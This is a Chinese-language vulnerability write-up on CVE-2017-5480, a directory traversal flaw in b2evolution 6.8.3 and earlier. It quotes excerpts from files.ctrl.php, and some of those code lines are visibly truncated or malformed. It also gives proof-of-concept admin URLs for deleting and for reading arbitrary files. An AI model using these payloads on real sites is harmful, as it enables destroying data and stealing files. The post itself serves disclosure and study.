CVE原创分析初探CVE漏洞之CVE20175480

blackwolf / 2017-04-26 03:16:00 / 浏览数 3665 安全技术 漏洞分析 顶(0) 踩(0)

0x00前言

CVE-2017-5480，b2evolution小于或等于存在6.8.3版本存在目录遍历漏洞导致删除、读取任意文件。

0x01代码审计

1.安装

程序下载地址：6.8.3-stable

2.漏洞分析

具有后台访问权限的用户管理文件时，发出请求URL(以dave请求自己头像为例)：

```
http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=dave.jpg&fm_sources_root=user_4
```

函数admin.php中部分源码：

```
require $inc_path.$ctrl_mappings[$ctrl];
```

请求文件为：/b2evolution/inc/files/files.ctrl.php
文件files.ctrl.php的部分源码

```
if( ($edited_User = & $UserCache->get_by_ID( $user_ID, false )) === false )
{    // We could not find the contact to link:
$Messages->add( sprintf( T_('Requested «%s» object does not exist any longer.'), T_('User') ), 'error' );
unset( $edited_User );
forget_param( 'user_ID' );
unset( $user_ID );
}
```

可知至少需要具有文件编辑（editer）权限的用户才能成功利用

1. files.ctrl.php中的任意文件删除漏洞代码：

```
if( $confirmed )
{ // Delete files, It is possible only file has no links:
$selected_Filelist->load_meta();
while( $l_File = & $selected_Filelist->get_next() )
{
// Check if there are delete restrictions on this file:
$restriction_Messages = $l_File->check_relations( 'delete_restrictions', array(), true );
if( $restriction_Messages->count() )
{ // There are restrictions:
$Messages->add_to_group( $l_File->get_prefixed_name().': '.T_('cannot be deleted because of the following relations')
.$restriction_Messages->display( NULL, NULL, false, false ), 'warning', T_('Deleting files...') );
// Skip this file
continue;
}
if( $l_File->unlink() )
{
$Messages->add_to_group( sprintf( ( $l_File->is_dir() ? T_('The directory «%s» has been deleted.')
: T_('The file «%s» has been deleted.') ), $l_File->dget('name') ), 'success', T_('Deleting files...') );
$fm_Filelist->remove( $l_File );
}
else
{
$Messages->add_to_group( sprintf( ( $l_File->is_dir() ? T_('Could not delete the directory «%s» (not empty?).')
: T_('Could not delete the file «%s».') ), $l_File->dget('name') ), 'error', T_('Deleting files...') );
}
}
$action = 'list';
$redirect_to = param( 'redirect_to', 'url', NULL );
// Redirect so that a reload doesn't write to the DB twice:
```

```
header_redirect( empty( $redirect_to ) ? regenerate_url( '', '', '', '&' ) : $redirect_to, 303 ); // Will EXIT
// We have EXITed already at this point!!
}
else
{
// make sure we have loaded metas for all files in selection!
$selected_Filelist->load_meta();
$index = 0;
// Check if there are delete restrictions on the files:
while( $l_File = & $selected_Filelist->get_next() )
{
// Check if there are delete restrictions on this file:
$restriction_Messages = $l_File->check_relations( 'delete_restrictions', array(), true );
if( $restriction_Messages->count() )
{ // There are restrictions:
$Messages->add( $l_File->get_prefixed_name().': '.T_('cannot be deleted because of the following relations')
.$restriction_Messages->display( NULL, NULL, false, false ) );
// remove it from the list of selected files (that will be offered to delete):
$selected_Filelist->remove( $l_File );
unset( $fm_selected[$index] );
}
$index++;
}
if( ! $selected_Filelist->count() )
{ // no files left in list, cancel action
$action = 'list';
// Redirect so that a reload doesn't write to the DB twice:
header_redirect( regenerate_url( '', '', '', '&' ), 303 ); // Will EXIT
// We have EXITed already at this point!!
}
}
break;
```

任意文件删除漏洞代码利用Payload:

```
http://127.0.0.1/b2evolution/admin.php?blog=6&ctrl=files&root=collection_6&fm_hide_dirtree=-1&action=delete&fm_selected[]=../.
```

1. files.ctrl.php中的任意文件读取漏洞代码：

```
case 'copy':
……
$allow_locked_filetypes = $current_User->check_perm( 'files', 'all' );
……
// Copy file
$old_path = $loop_src_File->get_rdfp_rel_path();
$new_path = $selected_Filelist->get_rds_list_path().$new_names[$loop_src_File->get_md5_ID()];
if( $old_path == $new_path && $loop_src_File->_FileRoot->ID == $selected_Filelist->_FileRoot->ID )
{ // File path has not changed...
$Messages->add_to_group( sprintf( T_('«%s» has not been copied'), $old_path ), 'note', T_('Copying files:') );
continue;
}
// Get a pointer on dest file
$dest_File = & $FileCache->get_by_root_and_path( $selected_Filelist->get_root_type(), $selected_Filelist->get_root_ID(), $new_
// Perform copy:
if( ! $loop_src_File->copy_to( $dest_File ) )
{ // failed
$Messages->add_to_group( sprintf( T_('«%s» could not be copied to «%s»'), $old_path, $new_path ), 'error''Copying files:') );
continue;
}
$success_message = sprintf( T_('«%s» has been successfully copied to «%s»'), $old_path, $new_path );
$success_title = T_('Copying files:');
break;
```

任意文件读取漏洞代码利用Payload:

```
http://127.0.0.1/b2evolution/admin.php?blog=6&ctrl=files&root=collection_6&fm_hide_dirtree=-1&action=file_copy&fm_selected[]=.
```

files.ctrl.php中重命名时文件扩展名限制代码：

```
if( $check_error = check_rename( $new_names[$loop_src_File->get_md5_ID()], $loop_src_File->is_dir(), $loop_src_File->get_dir()
{
$confirmed = 0;
param_error( 'new_names['.$loop_src_File->get_md5_ID().']', $check_error );
continue;
}
```

从源码由于文件扩展名限制，修改copy的文件名为*.txt才能copy成功任意文件，从而读取内容。

Tips:

- 文件编辑（editer）权限的用户才能成功利用
- 读文件时注意重命名文件为*.txt

0x02后记

黑盒测试+代码审计，最终成功提交第一个CVE漏洞，来张图记录一下过程